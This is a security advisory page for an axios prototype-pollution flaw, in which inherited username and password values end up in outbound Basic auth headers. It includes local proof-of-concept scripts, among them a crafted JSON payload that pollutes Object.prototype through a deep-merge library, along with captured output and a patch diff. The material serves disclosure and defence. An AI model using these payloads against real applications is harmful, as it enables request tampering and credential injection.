GHSA-XJ6Q-8X83-JV6G
Vulnerability from github – Published: 2026-07-20 17:51 – Updated: 2026-07-20 17:51
VLAI
Summary
Axios: Prototype pollution auth subfields can inject Basic auth
Details
Summary
Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.
This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.
Impact
An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.
The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.
This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.
Affected Functionality
Affected functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in
lib/helpers/resolveConfig.js. - Requests where
config.authis an own object butusernameand/orpasswordare absent own properties.
Unaffected or not accepted as core impact:
- Requests with no own
authobject aftermergeConfig(). - Requests with own
auth.usernameandauth.passwordvalues. - Normal axios request flow for inherited top-level
params/paramsSerializerafter the null-prototypemergeConfig()hardening. - Attacker-controlled
paramsSerializerfunctions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details
mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.
In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.
The same pattern exists in lib/helpers/resolveConfig.js:
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.
Proof of Concept of Attack
Safe local PoC against published axios@1.16.1:
const http = require('node:http');
const axios = require('axios');
Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';
const server = http.createServer((req, res) => {
console.log({
url: req.url,
authorization: req.headers.authorization || null
});
res.end('{}');
server.close(() => {
delete Object.prototype.username;
delete Object.prototype.password;
});
});
server.listen(0, '127.0.0.1', async () => {
await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
auth: {}
});
});
Expected output:
{
"url": "/api",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
The base64 value decodes to victim-user:victim-password-leaked.
Workarounds
Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.
Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.
Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.
Original Report ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):const configAuth = own('auth'); // ← top-level guard OK
if (configAuth) {
const username = configAuth.username || ''; // ← reads .username on the inherited chain
const password = configAuth.password || ''; // ← reads .password on the inherited chain
auth = username + ':' + password;
}
const authUsername =
authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;
const auth = own('auth'); // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
// ^ .username and .password read directly on `auth`, no hasOwnProp guard
newConfig.url = buildURL(
buildFullPath(baseURL, url, allowAbsoluteUrls),
config.params, // ← direct read, not through own()
config.paramsSerializer // ← direct read, not through own()
);
#!/usr/bin/env node
'use strict';
const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');
// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
for (const k of PROTO_KEYS) {
try { delete Object.prototype[k]; } catch (_) {}
}
}
scrub();
// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
"constructor": {
"prototype": {
"username": "victim-user",
"password": "victim-password-leaked",
"params": {"leak": "ATTACKER_QUERY_TOKEN"}
}
}
}`);
// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
// After this line:
// Object.prototype.username === "victim-user"
// Object.prototype.password === "victim-password-leaked"
// Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" }
// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
console.log('=== captured outbound request ===');
console.log(JSON.stringify({
method: req.method,
url: req.url,
authorization: req.headers.authorization || null,
}, null, 2));
res.end('{}');
server.close();
scrub();
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// 4) Realistic application wrapper: optional per-call overrides.
// `auth: opts.auth || {}` is the common pattern — empty own object,
// but inherited values walk the prototype chain.
function makeRequest(targetUrl, opts = {}) {
return axios.get(targetUrl, {
timeout: 5000,
auth: opts.auth || {},
params: opts.params || {},
});
}
makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
console.error('axios error:', e.message);
scrub();
process.exit(1);
});
});
mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs
{
"method": "GET",
"url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
const configAuth = own('auth');
if (configAuth) {
- const username = configAuth.username || '';
- const password = configAuth.password || '';
+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
auth = username + ':' + password;
}
--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
// HTTP basic authentication
if (auth) {
+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
headers.set(
'Authorization',
'Basic ' +
- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
);
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.2"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T17:51:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios\u2019 runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own(\u0027auth\u0027)`, but then reads subfields directly:\n\n```js\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n const username = configAuth.username || \u0027\u0027;\n const password = configAuth.password || \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nObject.prototype.username = \u0027victim-user\u0027;\nObject.prototype.password = \u0027victim-password-leaked\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end(\u0027{}\u0027);\n server.close(() =\u003e {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` \u2014 an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too \u2014 i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737\u2013740** (Node http adapter):\n\n```js\nconst configAuth = own(\u0027auth\u0027); // \u2190 top-level guard OK\nif (configAuth) {\n const username = configAuth.username || \u0027\u0027; // \u2190 reads .username on the inherited chain\n const password = configAuth.password || \u0027\u0027; // \u2190 reads .password on the inherited chain\n auth = username + \u0027:\u0027 + password;\n}\n```\n\n`own(\u0027auth\u0027)` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322\u2013324):\n\n```js\nconst authUsername =\n authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027username\u0027) ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027password\u0027) ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739\u2013740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own(\u0027auth\u0027); // \u2190 top-level guard OK\n...\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape \u2014 top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58\u201359** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // \u2190 direct read, not through own()\n config.paramsSerializer // \u2190 direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge \u2014\nthe canonical insecure backend pattern \u2014 exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\nconst defaultsDeep = require(\u0027defaults-deep\u0027);\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = [\u0027username\u0027, \u0027password\u0027, \u0027params\u0027, \u0027paramsSerializer\u0027];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input \u2014 what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027=== captured outbound request ===\u0027);\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end(\u0027{}\u0027);\n server.close();\n scrub();\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern \u2014 empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n console.error(\u0027axios error:\u0027, e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation \u2014 same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes \u2014 amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own(\u0027auth\u0027);\n if (configAuth) {\n- const username = configAuth.username || \u0027\u0027;\n- const password = configAuth.password || \u0027\u0027;\n+ const username = utils.hasOwnProp(configAuth, \u0027username\u0027) ? (configAuth.username || \u0027\u0027) : \u0027\u0027;\n+ const password = utils.hasOwnProp(configAuth, \u0027password\u0027) ? (configAuth.password || \u0027\u0027) : \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, \u0027username\u0027) ? (auth.username || \u0027\u0027) : \u0027\u0027;\n+ const authPassword = utils.hasOwnProp(auth, \u0027password\u0027) ? auth.password : \u0027\u0027;\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n- btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n+ btoa(authUsername + \u0027:\u0027 + (authPassword ? encodeUTF8(authPassword) : \u0027\u0027))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change \u2014 that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) \u2014 `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) \u2014 `mergeDirectKeys` `in` \u2192 `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) \u2014 proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) \u2014 `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) \u2014 `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) \u2014 `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737\u2013740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle\u0027s public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I\u0027m happy to submit the patch as a PR if that helps. Or, if you\u0027d\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I\u0027ll coordinate.\n- Threat model honesty: this is **amplifier framing** \u2014 exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That\u0027s how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n\u003c/details\u003e",
"id": "GHSA-xj6q-8x83-jv6g",
"modified": "2026-07-20T17:51:17Z",
"published": "2026-07-20T17:51:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype pollution auth subfields can inject Basic auth"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…